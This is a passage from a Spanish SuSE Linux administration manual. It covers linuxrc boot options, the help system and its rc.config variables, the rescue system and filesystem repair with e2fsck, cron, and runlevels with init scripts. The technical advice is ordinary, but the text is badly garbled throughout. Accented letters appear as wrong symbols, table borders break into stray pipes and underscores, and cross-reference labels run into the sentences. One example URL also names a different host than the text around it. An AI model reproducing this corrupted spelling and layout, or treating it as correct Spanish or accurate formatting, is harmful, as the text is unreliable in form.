SCSI son las que se toman su tiempo durante la carga, ya que esperan un rato
la respuesta de todos los dispositivos conectados.
Cuando se haya cargado el m≤dulo exitosamente, linuxrc muestra los men-
sajes del kernel, asφ que es posible asegurarse del Θxito de la operaci≤n. Si no
es asφ, los mensajes pueden servir para encontrar la raz≤n del fracaso.
Iniciar la instalaci≤n / Sistema
Una vez conseguido el soporte completo del hardware necesario para la in-
stalaci≤n, se puede pasar a la opci≤n `Iniciar la instalaci≤n / Sis-
tema'.
En este punto (figura 16.5 en la pßgina siguiente) se puede comenzar con una
serie de procesos: `Comenzar la instalaci≤n' (desde aquφ comienza
tambiΘn la actualizaci≤n), `Iniciar el sistema instalado' (hace falta
conocer la partici≤n raφz), `Iniciar sistema de rescate' (ver aparta-
do 16.5 en la pßgina 425El sistema de rescate de SuSE section.16.5) e `Ini-
ciar__Live-CD'_3_.___________________________
3 Este CD solo existe para mßquinas X86; ver el apartado 3.7.4 en la pßgina 110Configurar
sistema Livesubsection.3.7.4.
420
________________________________________________________________________________________________________________16.3.__linux*
*rc____________________
Figura 16.5: Destino final de linuxrc
_______________________________________________________________________________________________________________________||
|||||||| La opci≤n `Iniciar Live-CD' es bastante ·til a la hora de comprobar ||| |
|||||||| || |
|||||||| la compatibilidad de una determinada computadora o de un portßtil con || |
|||||||| Linux. Para ello no hace falta hacer una instalaci≤n real en el disco duro. || |
|||||||| || |
|||||||| íSe trata de una prueba que se podrφa efectuar sin mßs en cualquier tienda || |
|||||||| de PCs moderna! || |
||||||||_______________________________________________________________________________________________________________||_
Figura 16.6: Selecci≤n del medio fuente en linuxrc
Se pueden elegir diferentes fuentes para la instalaci≤n (figura 16.6) y tambiΘn
para generar un sistema de rescate (figura 16.8 en la pßgina 426Iniciar sistema
de rescateItem.224).
*
* 421
16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
16.4 El sistema de ayuda para SuSE Linux
El sistema de ayuda se compone de muchas partes y se puede obtener de
manera simple a travΘs de cualquier navegador (en caso del entorno grßfico
figura 1.1 en la pßgina 9Ayuda en hipertextosubsection.1.4.2 o, en la consola
de texto, figura 16.7).
El componente principal del sistema se encuentra en el paquete susehilf,
serie doc (Dokumentation). Seg·n la demanda de funcionalidad y contenido
hace falta instalar unos paquetes adicionales que figuran mßs abajo (el pro-
ceso de instalaci≤n se explica en el apartado 3.5.3 en la pßgina 97Cambiar
/ Crear configuraci≤nsubsection.3.5.3). Los paquetes esenciales se instalan
automßticamente cuando se ejecuta la instalaci≤n estßndar de YaST , asφ que,
no cunda el pßnico si se encuentra en este momento un poco perdido;-)
| *
* |
________________________________________________________________________________________________________*
*________||
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Figura 16.7: Primera pßgina del sistema de ayuda (lynx)
paquete apache, serie n: Apache, el servidor WWW local.
paquete sdb, serie doc: El paquete bßsico con la funci≤n de b·squeda para
la SDB.
paquete sdb_de, serie doc: Los textos del banco de datos de soporte
(SDB), en alemßn.
paquete sdb_cgi, serie doc: Funci≤n de b·squeda para el SDB.
paquete susepak, serie doc: Por si hay interΘs en estudiar la descripci≤n de
los paquetes con calma. . .
paquete howtodeh, serie doc: Los documentos Howto, en alemßn.
paquete howtoenh, serie doc: Los documentos Howto, versi≤n inglesa
(generalmente mßs actualizados que las traducciones).
paquete ldp, serie doc: Libros, FAQs, etc. del Linux Documentation
Project (LDP) en HTML.
paquete rman, serie ap: Contiene http-rman .
422
________________________________________________________________16.4.__El_sistema_de_ayuda_para_SuSE______Linux_____________*
*______________________
paquete inf2htm, serie doc: Con este paquete se pueden leer los documen-
tos del tipo Info en un navegador (ver apartado 1.4.3 en la pßgina 8Texin-
fo e Infosubsection.1.4.3); los documentos se convierten en el acto (ingl.
on-the-fly).
paquete dochost, serie n: Un conjunto de programas para un servidor cen-
tral de documentos en la red. íConsultar la documentaci≤n en /usr/doc/
packages/dochost/README.SuSE!
paquete htdig, serie n: Sirve para generar un φndice de todos los documen-
tos del tipo WWW que se encuentran en una computadora (o en la red
local); la computadora se convierte en una peque±a mßquina de b·squeda
del web.
El paquete dochost y el paquete htdig no son obligatorios, pero pueden
resultar ·tiles para alcanzar la funcionalidad total.
16.4.1 Configuraci≤n para estaci≤n de trabajo o servidor
Configurar en el fichero /etc/rc.config las variables para una estaci≤n de
trabajo tal y como estßn listadas en el fichero 16.4.1 (lo mejor es hacerlo con
YaST tal como se explica en en la pßgina 444Configurar e iniciar servicios
de red y localesHfootnote.77 y mßs explφcito en el apartado 3.7.12 en la pßgi-
na 116Cambiar fichero de configuraci≤nsubsection.3.7.12). Aquφ suponemos
que el sistema se llama sol.cosmos.univ, si no fuese asφ, se deben usar los
nombres asignados.
_______________________________________________________________________________________________________________________
|||||||| |
|||||||| START_INETD="yes" |
|||||||| START_HTTPD="yes" |
|||||||| |
|||||||| DOC_SERVER="yes" |
|||||||| DOC_HOST="sol.cosmos.univ" |
|||||||| DOC_ALLOW="LOCAL.cosmos.univ" |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Fichero 16.4.1: /etc/rc.config para estaci≤n de trabajo o servidor
El inetd (ingl. inet daemon) debe ser iniciado en todo caso, ya que se necesita
este daemon p. ej. para el acceso a las + Manpages vφa http-man . Natural-
mente http-rman solo puede funcionar si este servicio no esta desactivado en
/etc/hosts.deny
Hay que asegurarse de iniciar el servidor HTTP (apache ) cuando el sistema
arranca; para ello se responde yes en START_HTTPD
DOC_SERVER determina si se van a proporcionar documentos desde esta com-
putadora; esta variable tambiΘn debe tener el valor yes cuando se trata de
una estaci≤n de trabajo, ya que en estos casos la estaci≤n es a su vez el servi-
dor de la informaci≤n. DOC_HOST es el nombre del servidor de documentos
(aquφ: sol.cosmos.univ). En DOC_ALLOW se apuntan todas las computado-
ras y dominios que deben tener el permiso de acceso a la documentaci≤n (los
''Manpages''). íSi se quiere dar acceso a un dominio completo, no hay que
olvidar el `.' en frente del nombre de dominio!
*
* 423
16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Tenga en cuenta que hace falta ejecutar SuSEconfig despuΘs del cam- *
* ||||
|| bio de cualquier variable en /etc/rc.config . Trabajando con YaST *
* ||||
| SuSEconfig se ejecuta automßticamente. *
* ||||
|_______________________________________________________________________________________________________*
*________|||_
La b·squeda de texto no funciona antes de generar los φndices para ht://Dig
(paquete htdig). Estos φndices ocupan actualmente alrededor de 70 MB.
Cuando se estß inicializando el banco de datos debe haber un mφnimo de
200 MB de espacio en el directorio /opt/www/htdig. La inicializaci≤n se
efect·a con el siguiente comando:
tierra:~ # suserundig
El script /usr/sbin/suserundig eval·a el fichero de configuraci≤n /opt/
www/htdig/conf/susedig.conf y genera los φndices. En caso de cambiar
los datos (p. ej. despuΘs de una actualizaci≤n de los documentos HTML) hay
que ejecutar suserundig de nuevo.
16.4.2 Configuraci≤n para una computadora en modo cliente
Tal vez no se desea instalar la documentaci≤n completa en todas las com-
putadoras de una red local; si es asφ, se ha de aprovechar el concepto cliente-
servidor. En la computadora que figura como cliente solamente se instala
el paquete dochost, serie n y se definen las variables en /etc/rc.config
como se muestra en el fichero 16.4.2.
________________________________________________________________________________________________________*
*________
| *
* |
| *
* |
| DOC_SERVER="no" *
* |
| DOC_HOST="sol.cosmos.univ" *
* |
| DOC_ALLOW="" *
* |
| *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 16.4.2: /etc/rc.config para una mßquina Cliente
íPor supuesto que esto solo funciona si la documentaci≤n estß realmente
instalada en sol.cosmos.univ!
16.4.3 Usar el sistema de ayuda
Si se ha instalado el sistema de ayuda (como se ha explicado arriba), es
posible acceder a Θl con el comando susehelp . Otra posibilidad es la de
indicar directamente el URL http://localhost/doc/susehilf/index.
html o http://sonne.kosmos.all/doc/susehilf/index.html en un
navegador WWW. Evidentemente, sol.cosmos.univ solo funciona si ha
llamado de este modo a la computadora o al servidor de documentos.
424
____________________________________________________________________________16.5.__El_sistema_de_rescate_de_SuSE____________*
*______________________
16.5 El sistema de rescate de SuSE
Introducci≤n
SuSE Linux contiene ~ independientemente del sistema de instalaci≤n ~ un
sistema de rescate aut≤nomo4 que permite acceder ''desde afuera'' a todas las
particiones de Linux en los discos duros. El sistema de rescate contiene entre
otras una buena selecci≤n de utilidades para brindar suficientes herramientas
que permitan arreglar una serie de problemas, p. ej. respecto a la falta de
acceso a los discos o respecto a problemas con ficheros de configuraci≤n.
El sistema de rescate se forma de un disquete de arranque o de un SuSE
Linux-CD arrancable y de un sistema de fichero de rescate, cuyo origen puede
ser un disquete, un CD, la red o incluso el servidor-FTP de SuSE ; en total: es
emocionante!
Preparativos
Es posible generar el disquete de arranque a partir de la imagen correcta en
el CD bajo /disks. A parte de este disquete de arranque no se necesita mßs
que el fichero /disks/rescue, que contiene la imagen comprimida de un
peque±o sistema de fichero raφz. Este fichero se copia a un segundo disquete
de rescate con los comandos de Linux:
tierra: # /sbin/badblocks -v /dev/fd0 1440
tierra: # dd if=/cdrom/disks/rescue of=/dev/fd0 bs=18k
o con los equivalentes de DOS (suponiendo aquφ que Q: representa el lector
CD-ROM bajo DOS):
Q:\> cd \dosutils\rawrite
Q:\dosutils\rawrite> rawrite.exe
para luego cargar todo el sistema desde este disquete y el de arranque; tambiΘn
se puede generar el disquete de rescate con YaST (ver apartado 3.7.2 en la
pßgina 106`Crear disco de rescate'subsection.3.7.2). El disquete de
rescate estß actualmente basado a prop≤sito en la librerφa libc5 (SuSE Linux
5.3); solo asφ caben varios programas (un + Editor, fdisk , e2fsck , etc.) en
un solo disquete. La librerφa glibc serφa demasiado grande para caber en el
disquete.
No se puede montar el disquete de rescate ya que no contiene ning·n sistema
de fichero, sino la imagen comprimida de uno (una imagen no comprimida
de unos 3 MB resulta demasiado grande para un disquete). No obstante, si se
desea verla alguna vez, se debe descomprimir esa imagen y despuΘs montarla
como usuario `root'. Esto supone que el kernel soporta el loop-Device y
funciona del siguiente modo:
tierra: # cp /cdrom/disks/rescue /root/rescue.gz
tierra: # gunzip /root/rescue.gz
tierra: # mount -t ext2 -o loop /root/rescue /mnt
Ahora se puede ver el contenido del sistema de rescate montado en el direc-
torio /mnt.
4 ____________________________________________________
En realidad ya son dos sistemas o, incluso 3, si se quiere tomar tambiΘn el sistema de fichero
''Live'' (ver apartado 3.7.4 en la pßgina 110Configurar sistema Livesubsection.3.7.4) como un
sistema de rescate.
*
* 425
16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Siempre se debe mantener un par de disquetes de arranque y de rescate en *
* ||||
|| un lugar seguro. El peque±o esfuerzo para generar y mantenerlos no tiene *
* ||||
| comparaci≤n con el trabajo y la pΘrdida de tiempo que representa no tener *
* ||||
| *
* |||
| nada en un caso de emergencia. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Iniciar sistema de rescate
El sistema de rescate se inicia como la instalaci≤n desde el disquete de ar-
ranque o desde el CD 1 si la BIOS de la computadora lo soporta. Los pasos a
seguir son los siguientes:
1. Requisito: Se puede arrancar desde la disquetera o desde el lector CD-
ROM (si este no fuera el caso se tendrφa que cambiar el orden de arranque
en la BIOS).
2. Arrancar el sistema con el disquete o el CD 1. Introduzca en el prompt de
arranque yast1 o bien manual ; usando manual existe la posibilidad de
cargar los m≤dulos manualmente.
3. Ajustar el idioma, el teclado, etc. en linuxrc hasta llegar al men· principal.
4. Seleccionar en el men· principal `Iniciar la instalaci≤n, sis-
tema'.
5. Si se ha arrancado con el disquete de arranque, se introduce el CD de
instalaci≤n o el disquete (rescue) con la imagen comprimida del sistema
de rescate.
Figura 16.8: Elecci≤n del medio fuente del sistema rescue
6. En el men· `Iniciar la instalaci≤n, sistema' se selecciona la
opci≤n `Iniciar sistema de rescate' (ver figura 16.5 en la pßgi-
na 421Iniciar la instalaci≤n / SistemaHfootnote.70) y se indica despuΘs el
medio fuente (figura 16.8):
`CD-ROM': Esta es la ''opci≤n normal''. linuxrc procede a cargar un
sistema confortable de rescate (.../suse/images/rescue). Para
poder ir por este camino hace falta un mφnimo de 16 MB de memoria
426
____________________________________________________________________________16.5.__El_sistema_de_rescate_de_SuSE____________*
*______________________
RAM (mejor 24 MB). Ademßs, el directorio /cdrom se exporta, lo que
permite arrancar c≤modamente el sistema de rescate y despuΘs efectuar
una instalaci≤n de red desde el mismo CD (para ello hay que configurar
adecuadamente las variables en /etc/rc.config y ejecutar despuΘs
SuSEconfig ; ver apartado 17.5 en la pßgina 435/etc/rc.config y
SuSEconfig section.17.5).
`Red (NFS)': Acceder al sistema rescue por red vφa NFS. Para ello
hace falta cargar anteriormente el driver de la tarjeta de red ; ver tam-
biΘn las indicaciones generales en el apartado 2.4.2 en la pßgina 51In-
stalaci≤n desde una fuente en la ''red''subsection.2.4.2 .
`Red (FTP)': Acceder al sistema rescue por red vφa FTP. íNo olvidar
el driver de red!
`Disco duro': Cargar el sistema rescue desde el disco duro.
`Disquete': Arrancar el sistema rescue desde un disquete como se ha
indicado antes. Se trata de una variante que funciona tambiΘn cuando
la computadora tiene poca memoria RAM.
Ahora se descomprime el sistema de rescate y se carga como nuevo sistema
de fichero raφz en un ''RAM-Disk'' (disco virtual), se monta, arranca y queda
asφ operativo.
Trabajar con el sistema de rescate
El sistema de rescate proporciona, con las teclas |A_____|lt+ |F___|_1hasta |A_____|lt+ |F___|_3,
tres diferentes consolas virtuales en las que se puede efectuar un login (entrar
en el sistema)_ como__usuario `root' sin necesidad de contrase±a. Con las
teclas |A____l|t+ |F____1|0se llega a la consola de sistema para ver los mensajes del
kernel y de syslog .
En el directorio /bin se encuentran las shells y las utilidades (p. ej. mount )
y un conjunto de utilidades para ficheros y red, como p. ej. e2fsck , que sirve
para comprobar y arreglar sistemas de fichero. En /sbin se encuentran tam-
biΘn los binarios mßs importantes para la administraci≤n del sistema como
fdisk , mkfs , mkswap , init , shutdown y para el uso de red ifconfig , route y
netstat .
Bajo /usr/bin se encuentra el editor vi al igual que las herramientas (grep ,
find , less , etc.) y sobre todo telnet .
Ejemplo: Acceso al sistema ''normal''
Como punto de montaje del sistema Linux en el disco duro, estß previsto el
directorio /mnt, lo que no impide generar otros directorios y usarlos como
puntos de montaje.
Supongamos que el sistema normal contiene seg·n /etc/fstab las parti-
ciones Linux, como se observa en el ejemplo del fichero 16.5.1 en la pßgina
siguiente.
En este caso se puede montar el sistema paso por paso bajo /mnt usando los
siguientes comandos (íVigilar el orden!):
*
* 427
16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________
| *
* |
| /dev/sdb5 swap swap defaults 0 0 *
* |
| *
* |
| /dev/sdb3 / ext2 defaults 1 1 *
* |
| /dev/sdb6 /usr ext2 defaults 1 2 *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 16.5.1: Ejemplo de /etc/fstab
tierra:/ # mount /dev/sdb3 /mnt
tierra:/ # mount /dev/sdb6 /mnt/usr
Ahora se tiene acceso a todo el sistema y se pueden corregir errores en los
ficheros de configuraci≤n como en /etc/fstab, /etc/passwd o /etc/
inittab. Por supuesto, estos ficheros se encuentran ahora bajo /mnt/etc
en lugar de /etc.
Todo usuario experimentado de Linux archiva cuanto antes un impreso en
papel de /etc/fstab y de la respuesta del comando:
tierra: # fdisk -l /dev/<disk>
En lugar de <disk> hay que indicar uno por uno los nombres de dispositivo
de los discos duros del sistema, p. ej. hda (ver el listado en el apartado D.1 en
la pßgina 513Ficheros de dispositivos en el directorio /dev section.D.1). Si se
sabe exactamente d≤nde estß una partici≤n perdida, serφa posible recuperarla
con fdisk , generßndola de nuevo sencillamente.
Ejemplo: Arreglar sistemas de fichero
Un sistema de fichero da±ado es una raz≤n seria para recurrir al sistema de
rescate. Se produce p. ej. por no haber apagado correctamente la computadora
(en caso de corte de la electricidad) o por un cuelgue de sistema. No se puede
arreglar un sistema de fichero durante el uso normal de la computadora y en
''casos graves'' ni siquiera se puede montar el sistema de fichero raφz y el
arranque termina en el mensaje "kernel panic". En tal caso solo queda la
posibilidad del arreglo ''desde fuera'' con un sistema de rescate.
Este sistema de SuSE Linux contiene las utilidades e2fsck y tambiΘn
dumpe2fs para el diagn≤stico, lo que sirve para la mayorφa de problemas.
Generalmente en casos de emergencia no se puede acceder a la Manual-Page
de e2fsck , por lo tanto se encuentra impresa en el anexo E en la pßgi-
na 519Manual-Page de e2fsckappendix.E.
Ejemplo: Cuando un sistema de fichero se resiste a su montaje debido a un
S·per-bloque no vßlido, lo mßs probable es que e2fsck fracase en el intento
de arreglarlo. La soluci≤n es usar uno de los respaldos del S·per-bloque, que
se encuentran cada 8192 bloques (bloque 8193, 16385. . . ) en el sistema de
fichero. Se puede hacer con el comando:
tierra: # e2fsck -f -b 8193 /dev/<Partici≤n_Da±ada>
La opci≤n -f fuerza la comprobaci≤n del sistema de fichero para evitar que
e2fsck asuma que todo estß en orden por el hecho de haber detectado la
copia intacta del S·per-bloque.
428
_______________________________________________________________16.6.__Indicaciones_sobre_paquetes_especiales________________*
*______________________
16.6 Indicaciones sobre paquetes especiales
16.6.1 paquete cron
Las tablas de cron ya no se encuentran bajo /var/lib/cron sino bajo
/var/cron/tabs. Como tabla de comandos para todo el sistema se gen-
era el fichero /etc/crontab. En este fichero hay que apuntar, ademßs de la
hora, cußl usuario ha encargado la tarea a ejecutar (ver fichero 16.6.1, donde
se indica `root' como usuario); las tablas especφficas de los paquetes (en
/etc/cron.d) siguen la misma filosofφa ~ ver pßgina del manual de cron
(man 8 cron ).
_______________________________________________________________________________________________________________________
|||||||| |
|||||||| 1-59/5 * * * * root test -x /usr/sbin/atrun && /usr/sbin/atrun |
|||||||| |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Fichero 16.6.1: Ejemplo para una indicaci≤n en /etc/crontab
No se puede usar el comando crontab -e para modificar /etc/crontab;
se debe modificar con un editor y posteriormente grabarlo.
Hay algunos paquetes que instalan scripts dentro de los directorios /etc/
cron.hourly, /etc/cron.daily, /etc/cron.weekly y /etc/cron.
monthly. De la ejecuci≤n de estos se encarga /usr/lib/cron/run-crons,
que se inicia cada 15 minutos desde la tabla principal (/etc/contrab).
No se asombre entonces si el usuario `nobody' aparece poco despuΘs del
arranque del sistema, con mucha actividad en la tabla de procesos. Lo mßs
probable es que `nobody' estΘ en tales momentos actualizando el banco de
datos locate (ver el apartado 17.6 en la pßgina 446Seguridad y servicios de
mantenimiento localesHfootnote.77).
16.6.2 paquete curses
El CD contiene ahora el paquete ncurses cuyas bibliotecas se denominan
libncurses.so.<xx> . Por eso hay que modificar en muchos Makefiles
los comandos para el Linker. No se deberφan traducir paquetes propios con
-lcurses sino con -lncurses . Quienes lo deseen hacer a pesar de todo,
deben usar los siguientes comandos:
-I/usr/include/termcap -I/usr/include/curses
-L/usr/lib/termcap -L/usr/lib/curses
16.6.3 Fuentes del paquete uucp
Las fuentes del paquete uucp se encuentran actualmente dentro de las fuentes
source-RPM de Sendmail como sub-paquete.
16.6.4 Manual-Pages
Para algunos programas GNU, no se siguen manteniendo las Manual-Pages
(p. ej. tar ). En su lugar se puede usar de ayuda rßpida la extensi≤n --help
o los ficheros del tipo info. Info (info ) es el sistema de hipertexto de GNU
cuyo uso se explica con el comando info info . Se puede llamar a info
*
* 429
16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
a travΘs de Emacs con el comando emacs -f info o tambiΘn s≤lo con el
comando info . Un uso agradable lo ofrecen tkinfo , xinfo o el acceso a
travΘs del sistema de ayuda; ver el apartado 16.4 en la pßgina 422El sistema
de ayuda para SuSE Linux section.16.4.
16.7 Distribuci≤n de teclado
Para normalizar la distribuci≤n del teclado de los distintos programas, se han
modificado los siguientes ficheros:
/etc/inputrc
/usr/X11R6/lib/X11/Xmodmap
/etc/skel/.Xmodmap
/etc/skel/.exrc
/etc/skel/.less
/etc/skel/.lesskey
/etc/csh.cshrc
/etc/termcap
/usr/lib/terminfo/x/xterm
/usr/X11R6/lib/X11/app-defaults/XTerm
/usr/share/emacs/20.5/site-lisp/term/*.el
/usr/lib/joerc
Estas modificaciones solo tienen efecto sobre las aplicaciones que leen los
parßmetros terminfo o sobre aquellas cuyos ficheros de configuraci≤n
fueron modificados directamente (vi , less , etc.). Se recomienda adaptar
otras aplicaciones no-SuSE a estas definiciones.
430
Capφtulo 17
El concepto de arranque de SuSE
Linux
El arranque y la inicializaci≤n de un sistema UNIX provoca un hormigueo
incluso al administrador de sistemas mßs experimentado. Este capφtulo da
una breve introducci≤n al concepto de arranque de SuSE Linux. Su concepto
es mßs complejo pero tambiΘn mucho mßs flexible que el de la mayorφa de
otros sistemas Linux. Se basa en el moderno concepto de arranque System
V -Workstation, como estß descrito p. ej. en [Fri93 ].
Con las especφficas palabras "Uncompressing Linux..." el Kernel toma
el mando de todo el Hardware del sistema; comprueba y fija la consola 1 ,
para despuΘs leer los valores predeterminados de la BIOS e inicializar las
interfaces elementales de la placa base. En los pr≤ximos pasos los distintos
drivers ~ que forman parte del Kernel ~ ''prueban'' el Hardware presente para
realizar una inicializaci≤n, en caso necesario. DespuΘs del ''Chequeo de la
partici≤n'' y la carga del Root-Filesystem2 , el Kernel ejecuta el programa
/sbin/init , el cual realiza el autΘntico arranque del sistema con sus m·ltiples
programas auxiliares y sus configuraciones El Kernel sigue gestionando el
sistema completo, el tiempo de cßlculo de los programas y sus accesos al
Hardware.
17.1 El init -Programm
El programa /sbin/init es el proceso correspondiente para una inicializaci≤n
correcta del sistema; se puede decir que es el ''Padre de todos los procesos''
de sistema.
Dentro de todos los programas, init tiene un status especial: init es ejecutado
directamente por el Kernel y por lo tanto no tiene efecto la se±al 9, con la cual
todos los procesos pueden ser ''interrumpidos''. Los procesos siguientes son
ejecutados directamente por init o por uno de sus ''Procesos subordinados''.
Se configura init centralizado a travΘs del fichero /etc/inittab; aquφ se de-
finen los llamados ''Runlevel'' (se comenta mßs detenidamente en la secci≤n
siguiente) y se prefija quΘ ha de ocurrir en los diferentes niveles. Dependien-
do de la escritura en /etc/inittab, init ejecuta diferentes scripts, que por
razones_de_organizaci≤n_se_reunen_en_el_directorio_/sbin/init.d._
1 Mßs exactamente el registro de la BIOS de la tarjeta grßfica y el formato de salida de la pantalla.
2 Conectar de la partici≤n raφz al directorio /.
*
* 431
17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
*_______________________________________@
Asφ, todo el proceso de arranque ~ y naturalmente la secuencia de apagado ~
es controlado por el proceso init ; en este sentido se puede considerar el Kernel
prßcticamente como ''Proceso en segundo plano'', el cual tiene como objetivo
gestionar los procesos arrancados, dedicarles tiempo de cßlculo y posibilitar
y controlar el acceso al Hardware.
17.2 Los Runlevel
Bajo Linux existen diferentes Runlevel (nivel de ejecuci≤n), que definen quΘ
estado debe tener el sistema. El Runlevel estßndar, en el cual arranca el
sistema, estß en el fichero /etc/inittab inscrito mediante initdefault ;
normalmente es 2 o 3 (ver tabla 17.1). Alternativamente se puede introducir
el Runlevel requerido en el proceso de arranque (p. ej. en LILO-Prompt); el
Kernel transfiere parßmetros que Θl no puede tratar sin modificar al proceso
init .
Se puede cambiar a otro Runlevel, solo introduciendo init con el n·mero
correspondiente; naturalmente el cambio a otro Runlevel solo puede ser ges-
tionado por el + Administrador de sistema.
Por ejemplo se logra mediante el siguiente comando
root@tierra:/ > init S
entrar en el modo llamado single user mode, el cual se preocupa del manten-
imiento y administraci≤n del sistema. DespuΘs de que el administrador del
sistema ha acabado su trabajo se puede iniciar, para que con
root@tierra:/ > init 2
arranque el sistema en el Runlevel corriente, en el cual todos los programas
necesarios se ejecutan y los usuarios individuales pueden dar un aviso al
sistema.
La tabla 17.1 da una orientaci≤n sobre los Runlevel disponibles. Runlevel 1
no deberφa ser utilizado en un sistema del cual /usr-Partition estß cargado
vφa NFS!
________________________________________________________________________________________________________*
*________
__Runlevel__________Significado________________________________________________________________________*
*________
0 Stop
S Single User Mode
1 Multi User sin red
2 Multi User con red (estßndar)
3 Multi User con red y Xdm
4 Libre
5 Libre
___6_________________Reboot_____________________________________________________________________________*
*________
Tabla 17.1: Lista de los Runlevel disponibles bajo Linux
En consecuencia resulta que tambiΘn se puede parar el sistema con
root@tierra:/ > init 0
o reinicializßndolo de nuevo con,
432
__________________________________________________________________________________________17.3.__Cambio_del_Runlevel________*
*______________________
root@tierra:/ > init 6.
Si el sistema X Window ya esta correctamente configurado (apartado 8.1 en la
pßgina 238Configuraci≤n con SaX section.8.1) y los usuarios quieren entrar
directamente al entorno grßfico del sistema, se puede cambiar el valor del
Runlevel estßndar a 3 en /etc/inittab. Antes de realizar esta operaci≤n,
se deberφa comprobar si el sistema funciona tal como se desea introduciendo
root@tierra:/ > init 3
_______________________________________________________________________________________________________________________|||||
|||||||| Un /etc/inittab alterado puede hacer que el sistema ya no arranque ||| |
|||||||| correctamente. Hay que tener cuidado al modificar este fichero. ~ || |
|||||||| || |
|||||||| Como ayuda de emergencia se puede intentar transferir el parßmetro || |
|||||||| init=/bin/sh del LILO-Prompt, para arrancar directamente dentro de || |
|||||||| || |
|||||||| una Shell (ver apartado 16 en la pßgina 122┐Cußl es la apariencia del || |
|||||||| || |
|||||||| arranque con LILO ?Hfootnote.16); se puede hacer del siguiente modo: || |
|||||||| boot: linux init=/bin/sh || |
||||||||_______________________________________________________________________________________________________________||_
17.3 Cambio del Runlevel
En un cambio del Runlevel ocurre generalmente lo siguiente: Los llamados
scripts de parada del Runlevel actual se ejecutan~ los diferentes programas
que se estßn ejecutando en este nivel se finalizan ~ y los scripts de arranque
del nuevo Runlevel se inicializan. En un procedimiento como Θste, en la
mayorφa de los casos se ejecutan varios programas.
Para aclarar esto consideramos en un ejemplo, quΘ ocurre si cambiamos del
Runlevel 2 a Runlevel 3:
o El administrador (`root') comunica al proceso init que debe cambiar el
Runlevel:
root@tierra:/ > init 3
o init consulta el fichero de configuraci≤n /etc/inittab y detecta que el
script /sbin/init.d/rc debe ser llamado con el nuevo Runlevel como
parßmetro.
o Ahora llama rc a todos los Stop-scripts del Runlevel actual, para los
cuales no existe un Start-script en el Runlevel nuevo; en nuestro ejemplo
son todos los scripts, que se encuentran en el subdirectorio /sbin/init.
d/rc2.d (el ·ltimo Runlevel era 2) y que comienzan con `K'3 . El n·mero
que sigue a la `K' asegura, que se mantenga un cierto orden en el proceso,
porque ocasionalmente algunos programas dependen de otros.
o Por ·ltimo son llamados los Start-scripts del nuevo Runlevel; estos estßn
en nuestro ejemplo en /sbin/init.d/rc3.d y empiezan con una `S'.
TambiΘn aquφ se mantiene un orden determinado el cual esta fijado por el
n·mero que sigue de la `S'.
Si cambia al mismo Runlevel en cual se encuentra,init lee solo el /etc/
inittab, comprueba el fichero para cambios existentes y en caso necesario
realiza los procedimientos adecuados (p. ej. ejecuta un getty en otra inter-
faz).
3 ____________________________________________________
Los nombres de los Stop-scripts empiezan siempre con `K' (ingl. kill), los de los Start-scripts
con `S' (ingl. start).
*
* 433
17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
*_______________________________________@
17.4 Los Init-scripts
Concepto Los scripts bajo /sbin/init.d se dividen en dos categorφas:
o scripts, que son llamados directamente por init : Esto solo sucede en caso
de arranque asφ como tambiΘn en caso de un apagado instantßneo_(en_caso ____
de fallo de tensi≤n o por pulsar la combinaci≤n de teclas |C______|trl+ |A____l|t+
|________|Supprpor parte del usuario).
o scripts, que son llamados indirectamente por init : Esto ocurre en caso de
un cambio del Runlevel; aquφ generalmente se ejecuta el script superior
/sbin/init.d/rc , el que se encarga de que sean llamados los scripts corre-
spondientes en su secuencia correcta.
Todos los scripts se encuentran bajo /sbin/init.d. Los que se usan para
el cambio del Runlevel se encuentran tambiΘn en este directorio, pero son
llamados siempre como un enlace simb≤lico desde uno de los subdirectorios
/sbin/init.d/rc0.d hasta /sbin/init.d/rc6.d. Esto sirve para orga-
nizar y, evita que los scripts tengan que estar presentes varias veces, por ser
utilizados en diferentes Runlevel. Para que cada uno de los scripts pueda ser
llamado como Start- o Stop-script, Θstos tienen que entender los dos parßmet-
ros start y stop .
Ejemplo Al salir del Runlevel 2 es llamado /sbin/init.d/rc2.d/K40network;
/sbin/init.d/rc llama el script /sbin/init.d/network con el parßmetro
stop . Por ·ltimo, al entrar en Runlevel 3, se ejecuta el mismo script pero
ahora con el parßmetro start .
Los enlaces en los subdirectorios especφficos de los Runlevel solo sirven para
unir cada script con un determinado Runlevel.
Boot y A continuaci≤n se encuentra una breve descripci≤n del primer Boot- y del
Shutdown ·ltimo Shutdown-scripts asφ como del script de control:
o boot
Es ejecutado directamente por init en el arranque del sistema. Es inde-
pendiente del Default-Runlevel requerido y se ejecuta solo una vez. Aquφ
se ejecuta el Kernel-Daemon, que se encarga de la carga automßtica de los
m≤dulos-Kernel. Se realiza la comprobaci≤n de los sistemas de ficheros,
ficheros sobrantes bajo /var/lock se eliminan y la red se configura para
el Loopback-Device, en caso que sea apuntado en /etc/rc.config. Ac-
to seguido se fija el tiempo real del sistema y el Plug-and-Play-Hardware
es configurado mediante los isapnp-Tools (ver apartado 10.2.1 en la
pßgina 288┐C≤mo activar tarjetas PnP con isapnp ?subsection.10.2.1 .
Si aparece un fallo grave durante la comprobaci≤n y reparaci≤n automßti-
ca de los sistemas de fichero, el administrador del sistema tiene la posi-
bilidad de resolver el problema manualmente, despuΘs de haber entrado
el c≤digo de seguridad.
